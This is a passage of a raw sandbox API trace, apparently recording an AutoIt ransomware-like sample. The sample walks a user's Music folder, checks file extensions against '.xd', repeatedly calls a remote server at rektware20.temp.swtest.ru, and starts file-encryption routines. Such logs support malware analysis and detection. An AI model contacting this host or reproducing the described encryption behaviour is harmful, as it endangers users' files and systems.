"c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\rngmio5fuswsj.mp3")) returned 1 [0064.574] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.575] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0064.575] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.575] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.575] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.575] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.575] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.575] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.575] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.575] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.575] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.575] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.575] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.576] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dd8, lpdwBufferLength=0x130ef8c) returned 1 [0064.576] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.576] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.576] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.576] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.577] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.577] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.577] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.577] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.577] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.577] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.577] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.577] CloseHandle (hObject=0x0) returned 0 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.577] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.578] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VJUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JUFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UFoi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Foi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oi.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.579] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.579] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.579] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.579] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.579] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.579] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.579] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.579] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.579] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.579] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0064.579] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.580] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.580] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.580] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.580] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.580] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629470, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629470*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.580] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.581] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.581] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.581] CloseHandle (hObject=0x0) returned 0 [0064.581] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.581] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\VJUFoi.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0064.581] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.581] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.581] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.581] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.581] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.581] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.581] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.581] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.582] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.582] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.582] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.582] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.582] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.582] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.582] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.583] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.584] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.584] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab330) returned 1 [0064.584] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.585] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.585] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.585] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.585] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.585] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.585] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.585] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: 